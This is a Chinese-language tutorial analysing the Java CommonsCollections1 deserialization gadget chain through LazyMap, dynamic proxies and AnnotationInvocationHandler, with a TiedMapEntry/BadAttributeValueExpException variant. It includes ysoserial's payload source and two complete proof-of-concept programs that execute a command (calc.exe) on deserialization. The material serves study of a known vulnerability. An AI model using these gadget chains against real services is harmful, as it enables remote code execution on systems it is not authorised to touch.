背景

在ysoserial中CC1的payload中使用了LazyMapLazyMapTransformedMap类似,都继承 AbstractMapDecorator
image.png
我们可以先看看payload

  1. package ysoserial.payloads;
  2. import java.lang.reflect.InvocationHandler;
  3. import java.util.HashMap;
  4. import java.util.Map;
  5. import org.apache.commons.collections.Transformer;
  6. import org.apache.commons.collections.functors.ChainedTransformer;
  7. import org.apache.commons.collections.functors.ConstantTransformer;
  8. import org.apache.commons.collections.functors.InvokerTransformer;
  9. import org.apache.commons.collections.map.LazyMap;
  10. import ysoserial.payloads.annotation.Authors;
  11. import ysoserial.payloads.annotation.Dependencies;
  12. import ysoserial.payloads.annotation.PayloadTest;
  13. import ysoserial.payloads.util.Gadgets;
  14. import ysoserial.payloads.util.JavaVersion;
  15. import ysoserial.payloads.util.PayloadRunner;
  16. import ysoserial.payloads.util.Reflections;
  17. /*
  18. Gadget chain:
  19. ObjectInputStream.readObject()
  20. AnnotationInvocationHandler.readObject()
  21. Map(Proxy).entrySet()
  22. AnnotationInvocationHandler.invoke()
  23. LazyMap.get()
  24. ChainedTransformer.transform()
  25. ConstantTransformer.transform()
  26. InvokerTransformer.transform()
  27. Method.invoke()
  28. Class.getMethod()
  29. InvokerTransformer.transform()
  30. Method.invoke()
  31. Runtime.getRuntime()
  32. InvokerTransformer.transform()
  33. Method.invoke()
  34. Runtime.exec()
  35. Requires:
  36. commons-collections
  37. */
  38. @SuppressWarnings({"rawtypes", "unchecked"})
  39. @PayloadTest ( precondition = "isApplicableJavaVersion")
  40. @Dependencies({"commons-collections:commons-collections:3.1"})
  41. @Authors({ Authors.FROHOFF })
  42. public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
  43. public InvocationHandler getObject(final String command) throws Exception {
  44. final String[] execArgs = new String[] { command };
  45. // inert chain for setup
  46. final Transformer transformerChain = new ChainedTransformer(
  47. new Transformer[]{ new ConstantTransformer(1) });
  48. // real chain for after setup
  49. final Transformer[] transformers = new Transformer[] {
  50. new ConstantTransformer(Runtime.class),
  51. new InvokerTransformer("getMethod", new Class[] {
  52. String.class, Class[].class }, new Object[] {
  53. "getRuntime", new Class[0] }),
  54. new InvokerTransformer("invoke", new Class[] {
  55. Object.class, Object[].class }, new Object[] {
  56. null, new Object[0] }),
  57. new InvokerTransformer("exec",
  58. new Class[] { String.class }, execArgs),
  59. new ConstantTransformer(1) };
  60. final Map innerMap = new HashMap();
  61. final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  62. final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
  63. final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
  64. Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  65. return handler;
  66. }
  67. public static void main(final String[] args) throws Exception {
  68. PayloadRunner.run(CommonsCollections1.class, args);
  69. }
  70. public static boolean isApplicableJavaVersion() {
  71. return JavaVersion.isAnnInvHUniversalMethodImpl();
  72. }
  73. }

效果如下
image.png
TransformedMap是在写入元素的时候执行transform方法,LazyMap是在其get方法中执行的 this.factory.transform
LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用 this.factory.transform 方法去获取一个值

  1. public Object get(Object key) {
  2. // create value for key if key is not currently in the map
  3. if (map.containsKey(key) == false) {
  4. Object value = factory.transform(key);
  5. map.put(key, value);
  6. return value;
  7. }
  8. return map.get(key);
  9. }

factory也是可控的

  1. protected LazyMap(Map map, Transformer factory) {
  2. super(map);
  3. if (factory == null) {
  4. throw new IllegalArgumentException("Factory must not be null");
  5. }
  6. this.factory = factory;
  7. }

所以构造poc的时候只要令factory为精心构造的ChainedTransformer就行,因此我们找一下哪里可能调用了LazyMapget方法
但是我们在AnnotationInvocationHandler#readObject函数中并没有看到有执行get方法,所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get
image.png
AnnotationInvocationHandler#invoke看到invoke方向就大概联想到Java的动态代理机制。

动态代理

总结为一句话就是,被动态代理的对象调用任意方法都会通过对应的InvocationHandler的invoke方法触发

这里再举个例子说明一下如何自动调用的invoke方法

InvocationHandlerExample.class

InvocationHandlerExample类继承了InvocationHandler,实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一个特殊字符串 Hacked Object 。

  1. package com.myproject;
  2. import java.lang.reflect.Proxy;
  3. import java.util.HashMap;
  4. import java.util.Map;
  5. public class test {
  6. public static void main(String[] args) throws Exception {
  7. InvocationHandlerExample invocationHandlerExample = new InvocationHandlerExample(new HashMap());
  8. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandlerExample);
  9. proxyMap.put("1","Hacked Object");
  10. System.out.println(proxyMap.get("1"));
  11. }
  12. }

image.png
可以看到调用的get方法,但是被我们动态代理中的invoke方法拦截了,返回了Hacked Object
也就是说这个Map对象经过动态代理处理之后,动态代理对象调用任何一个方法时会调用**handler**中的**invoke**方法
我们回看sun.reflect.annotation.AnnotationInvocationHandler,会发现实际上这个类实际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get
image.png

构建POC

sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy

  1. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  2. // 构建对象
  3. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  4. Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
  5. constructor.setAccessible(true);
  6. InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, outerMap);
  7. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); // 代理对象
  8. handler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap); // 包裹
  1. package com.myproject;
  2. import org.apache.commons.collections.*;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import org.apache.commons.collections.map.TransformedMap;
  8. import javax.swing.*;
  9. import java.io.*;
  10. import java.lang.annotation.Retention;
  11. import java.lang.annotation.Target;
  12. import java.lang.reflect.Constructor;
  13. import java.lang.reflect.InvocationHandler;
  14. import java.lang.reflect.Proxy;
  15. import java.util.Arrays;
  16. import java.util.HashMap;
  17. import java.util.Map;
  18. public class test {
  19. public static void main(String[] args) throws Exception {
  20. Transformer[] transformers = new Transformer[]{
  21. new ConstantTransformer(Runtime.class),
  22. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  23. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  24. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  25. };
  26. Transformer transformerChain = new ChainedTransformer(transformers);
  27. Map innerMap = new HashMap();
  28. innerMap.put("a", 1);
  29. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  30. // 构建对象
  31. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  32. Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
  33. constructor.setAccessible(true);
  34. InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, outerMap);
  35. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); // 代理对象
  36. handler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap); // 包裹
  37. // 序列化
  38. FileOutputStream fileOutputStream = new FileOutputStream("payload.ser");
  39. ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  40. objectOutputStream.writeObject(handler);
  41. // 反序列化
  42. FileInputStream fileInputStream = new FileInputStream("payload.ser");
  43. ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  44. objectInputStream.readObject();
  45. }
  46. }

image.png

LazyMap 利用链补充

CC1受限制于jdk1.7,上面的poc使用了动态代理,那么有没有不使用动态代理的方法呢?(当然这里依然还是使用jdk1.7)
LazyMap类的get方法中调用了transform方法,那么除了AnnotationInvocationHandlerinvoke方法中调用了get方法外,还有,TiedMapEntry类的getValue方法也调用了get方法
image.png
而且this.map我们也可以控制,但是我们最终要找的还是readObject方法中的触发点,所以继续网上找,看看哪里调用了TiedMapEntrygetValue方法,找到TiedMapEntry类的toString方法
image.png
toString方法在进行字符串拼接或者手动把某个类转换为字符串的时候会被调用,所以,现在我们找找**TiedMapEntry**的对象当做字符串处理的地方,找到了BadAttributeValueExpExceptionreadObject方法中有相关调用:
image.png
可以看到第三个if分支里调用了valObj.toString(),而valObj=gf.get("val", null),这里其实就是读取传过来对象的val属性值,所以,只要我们控制**BadAttributeValueExpException**对象的**val属性**的值为我们精心构造的**TiedMapEntry**对象就行。所以,就有了下面的poc:

  1. package com.myproject;
  2. import org.apache.commons.collections.*;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import org.apache.commons.collections.map.TransformedMap;
  9. import javax.management.BadAttributeValueExpException;
  10. import javax.swing.*;
  11. import java.io.*;
  12. import java.lang.annotation.Retention;
  13. import java.lang.annotation.Target;
  14. import java.lang.reflect.Constructor;
  15. import java.lang.reflect.Field;
  16. import java.lang.reflect.InvocationHandler;
  17. import java.lang.reflect.Proxy;
  18. import java.util.Arrays;
  19. import java.util.HashMap;
  20. import java.util.Map;
  21. public class test {
  22. public static void main(String[] args) throws Exception {
  23. Transformer[] transformers = new Transformer[]{
  24. new ConstantTransformer(Runtime.class),
  25. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  26. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  27. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  28. };
  29. Transformer transformerChain = new ChainedTransformer(transformers);
  30. Map innerMap = new HashMap();
  31. innerMap.put("a", 1);
  32. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  33. // 构建对象
  34. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  35. Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
  36. constructor.setAccessible(true);
  37. TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"123");
  38. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
  39. Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
  40. val.setAccessible(true);
  41. val.set(badAttributeValueExpException, tiedMapEntry);
  42. // 序列化
  43. FileOutputStream fileOutputStream = new FileOutputStream("payload.ser");
  44. ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  45. objectOutputStream.writeObject(badAttributeValueExpException);
  46. // 反序列化
  47. FileInputStream fileInputStream = new FileInputStream("payload.ser");
  48. ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  49. objectInputStream.readObject();
  50. }
  51. }